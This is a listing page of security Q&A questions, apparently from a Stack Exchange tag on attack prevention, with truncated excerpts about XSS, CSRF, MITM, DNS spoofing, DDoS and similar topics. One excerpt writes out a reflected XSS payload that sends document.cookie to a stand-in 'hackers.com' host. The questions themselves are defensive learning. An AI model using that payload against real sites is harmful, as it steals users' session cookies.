prevention of an attack vector (e.g. XSS, HPP, CSRF)

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1answer
110 views

explanation of an nmap behaviour

I'm testing some vulnerabilities on a machine which has the port 22333 opened (it's used as the ssh port, and I can connect to it without any problem and the telned command get connected): $ telnet ...
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2answers
172 views

How is this MITM attack being performed and what steps can I take against it?

Today, when I tried to access the internet (google on HTTPS), my browser (Google Chrome) gave me the following error: I am on my own home Wi-Fi, which has WEP. When I tried to reload google on ...
2
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1answer
198 views

Why don't servers vulnerable to NTP and DNS reflection attacks get blacklisted immediately?

With these reflection attacks, the source IP should be the IP of the vulnerable server. So shouldn't nodes which see abnormal amounts of NTP data be able to add the source to a blacklist and therefore ...
2
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1answer
94 views

Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
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2answers
11k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
2
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1answer
90 views

Server Detection Vectors

I have a web server, and I would like to anonymise it as much as possible, to prevent unreported exploits directed at my web server (original cracks). My ideas: change server header customize 404 ...
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2answers
870 views

CSRF Login: can Attacker Login using valid credentials?

Considering this picture: taken from here:page21 Is this possible? If so, How to prevent it?
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2answers
974 views

External IP same as Internal IP security

Where I live my ISP does not give IP addresses out. My external IP address is the same as my external if I plug directly into the wall with no router. My ISP does give everybody a "router", that is ...
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3answers
135 views

I want to implement a new type of security feature over several platforms

I want to make a security feature that will go farther in discouraging people from looking through a secure system or server than what I have seen being implemented. Specifically, is there a way (or ...
2
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1answer
3k views

How to Prevent This `Intrusion.Win.MSSQL.worm.Helkern`?

Sometimes my kaspersky Internet Security blocks this attack. What is this and how can I prevent/solve it for ever?
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2answers
45 views

IP Restricted OTP like Web Admin Authentication Safe or Not

I created a web admin panel with the following security implementation. It is located on a sub directory of the web, which will trigger a 404 Error when tried to access (just like the link is ...
2
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2answers
71 views

Violation of security principles?

It's clear that keyless entry fobs, smart entry cards, NFC, etc. are vulnerable to relay attacks. Suppose they were improved by limiting the period of activity, eg let them be active only when they ...
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4answers
82 views

Preventing phishing of few critical websites

Suppose $S$ is a set of known websites which are very important. Assume there is an anti-phishing tool company $A$ which is aware of such websites. Can the company A reliably develop an anti-phishing ...
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3answers
2k views

CORS & CSRF Prevention for an REST based API

I'm currently trying to wrap my head around how to prevent CSRF. My first solution was to use a token which is suggested everywhere. That would of course fix this problem: <img ...
2
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1answer
143 views

Boot Attacks possible on encryption keys used in virtual machines

Is it possible for an attacker to restore passwords or encryption keys that one has used in a virtual machine the same way like restoring keys that have been used in a standard system applying a boot ...
2
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1answer
266 views

How to deal with misbehaving clients on an authoritative server?

My coworker and I are developing an authoritative server for an MMO. We can't agree on how to handle "misbehaving" clients. Misbehaving, in this case, means clients who send "odd" requests that might ...
2
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1answer
537 views

Submit form with token

I have a token that I want to use to prevent direct access of some php-files. Some of these php-files are loaded via AJAX. The token is used with a session to secure form submission AND to prevent ...
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2answers
340 views

Will using SSL to secure Wordpress admin area only still actually be secure?

The vast majority of our website contains no sensitive information, logins, forms, etc. However there are portions driven by wordpress so we are looking into getting SSL to secure these areas. There ...
2
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1answer
336 views

White-Box Cryptography Questions and References

I have recently started reading about White-Box Cryptography and looking at references/papers/web sites. A have a few questions I was hoping to get guidance on. As far as I can tell, WBC has ...
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3answers
164 views

What prevents a coder from brute forcing a wifi?

I know that a coder is able to connect to a wifi through code so my question is: Is there anything that will make it difficult to brute force a wifi password?
2
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1answer
769 views

GnuTLS ServerHello exploit (CVE-2014-3466) - how to verify?

So pretty much all of the GNUTLS world is worrying about CVE-2014-3466. I checked my Kali and it responds with this - # apt-cache rdepends libgnutls26 | grep -v lib Reverse Depends: ...
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2answers
5k views

IIS Host Header Attacks

Is IIS and ASP vulnerable to the same Host Header Attacks we have seen on Apache and Nginx? Specifically the attacks that use the HTTP Host Header to reset a password or implement web-cache poisoning. ...
2
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1answer
1k views

Android, how do I prevent Confused Deputy Attacks?

In case that a malicious mobile app hasn't the appropriate permissions to e.g. download a file, it can invoke a browser to download sth. Concrete examples of such an attack are shown from page 27 to ...
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3answers
653 views

How good is validating source with request.referer than checksum?

I have 2 portals(both are under my control & domain names are different) In 1st portal, there is a link on click of which User can directly get logged into 2nd portal. Link which will be hit in ...
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1answer
140 views

Where can I find articles about identity disclosure attack?

Where can I find more details about identity disclosure attack and it's prevention? If the adversary tries to steal the identity of an individual like mobile patterns and start appears in various ...
2
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1answer
181 views

Reflection Attacks on Server

I was reading a research paper entitled "Steps to Defend Against DoS Attacks" when I came across this point: "A reflection attack on a server would require server-client-server communication, ...
2
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1answer
753 views

Token Based Authentication & Pass-the-hash Attacks

Do token-based authentication solutions (such as RSA SecurID) mitigate tools like incognito and/or pass-the-hash tools?
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0answers
50 views

How can I protect my home/office computer against row hammer?

Row hammer seems to affect ECC memory less, but ECC is still not immune. I have heard of software mitigations like ANVIL, but that doesn't seem to be 100% row-hammer-proof either. What software or ...
2
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1answer
30 views

Opening window from secure site domainA.com, to partner site domainB.com - with short TTL encrypted query string

I am looking into a proposal and need to find reasons as to why we might not perform the suggested solution. Here is the problem: www.domain-a.com is a secure website dealing with customer ...
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0answers
265 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
2
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1answer
1k views

External network DNS spoofing

I've been thinking recently if its possible to DNS spoof an external network. Let's say for example you are attacker.com and your victim is of course victim.com. Then I've thought of 2 scenarios: 1. ...
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2answers
370 views

Preventing Illegal Access to Webservice

Let me start off by saying that I read other StackExchange questions related to this and they weren't really able to answer my question. I have a feeling this may be an unsolvable problem, but I'm ...
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3answers
785 views

Are Facebook, Yahoo, Google, etc. hackable?

What I would consider to be hacking one of these services is something along the lines of cracking databases (or I think what would be databases). In reality, I have no idea how sites like these store ...
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3answers
130 views

What type of attack is this?

Attacker purchasing something from e-store when attempting to tamper with requests and change the transaction amount value. What type of attack is this? How to prevent this kind of attack as the bank ...
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3answers
265 views

Unknown hijacker/popups on the browser

I was cleaning my father’s laptop which was recently infected by a fairly tenacious piece of malware. It hasn't given any great clues as to what it is named or anything of that sort and thus far ...
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2answers
1k views

How can I protect myself against programs that turn the webcam on without the indicator light? [duplicate]

Webcams can be turned on without the indicator light: to prevent unwanted use, I wonder whether there exist applications warning that the webcam is being used, or any other kind of protection. ...
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1answer
2k views

Man-in-the-middle attack over an encrypted channel

I learned recently about man-in-the-middle attacks and came up with this question. Let's say we have two computers who try to communicate over the network. Each computer has an encryptor and a ...
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2answers
432 views

How to verify correct, secure and test setuid?

I've been looking into setuid vulnerabilities. Particularly, I am looking on OS X (10.5+) but other modern *nix distos apply as well. For example, I found a world writable suid file installed by a ...
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5answers
201 views

How to replace a constant identifier, for a resource on a network, with a variable one?

I guess the example can make it easier. Assume each Client on a network has an identifier(some alphanumeric sequence) which identifies it uniquely on the network. Each time the Client corresponds ...
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3answers
234 views

How to Stop DDoS Attacks by simple function on web server?

I have an overview ideas of the preventing ddos attacks, in a simple way. Please clarify me, if my thinking is wrong. Option 1 From the basic understanding of the DDOS attacks is that the attacker ...
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3answers
1k views

How to detect anomalous activity in web server traffic?

I'm wondering how to successfully detect malicious activity in my web server traffic? Could you point me out some popular solutions which can help me to detect attacks on my web application? I ...
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2answers
760 views

Prevent my site to be sniffed and changed by man-in-the-middle-attacks

I want to secure site which is locally used for Prepaid Services, the site has been hacked many times, for the first step, I implemented SSL and its now working fine, however, I want to be sure that ...
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2answers
1k views

Tampering req.getParameter() Vs req.getAttribute() [closed]

Is following code vulnerable? If yes, how it can be exploited? <% Boolean redirectToSomeSite = (Boolean)request.getAttribute("redirectToSomeSite"); String someSiteUrl = ...
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2answers
1k views

How is iptables useful to prevent attacks against a LAN?

I need some advice securing a LAN using iptables. I've found lots of examples on how to secure single host with iptables, including scanning ports, attacking using ICMP-flood and TCP-flood. These ...
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1answer
477 views

Have I done enough not be compromised through image uploading

I know that you can never be sure that you have done enough to be secure, and I also know that file uploading is hard to make correct. Before asking this question I read some of the related posts here ...
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2answers
242 views

Where can I get a list of “bad” IP addresses that are likely to be used by attackers or spammers? [closed]

Is there an open source project or a list of "bad" IP addresses or ranges that are likely to be used by attackers or spammers? UPDATE: ideally I want it to be a service call so I can call it using ...
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2answers
266 views

Precauations for web application security audit

We have planned to give our web application to a third party vendor,what were the precautionary measures which we need to take care before giving our application to third party vendor? As the vendor ...
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3answers
8k views

What is a salami attack?

Can someone give a clear definition of a Salami Attack? In the book Security in Computing (4th Edition) by Charles P. Pfleeger. It is stated as a attack to data integrity and I quote the passage: ...
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2answers
529 views

Are buffer overflows on websites stoppable?

Recently, I was at the bookstore checking out books on computers. I found an interesting book on various types of hacks and how to stop them on your servers. One that caught my eye was the "buffer ...
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1answer
136 views

Force DNS to attach bad IP address

The question is not professional, but what I'm trying to say is... Is there any way to inject or force the DNS server to attach/change an IP address for some site. For example, I'm running an apache ...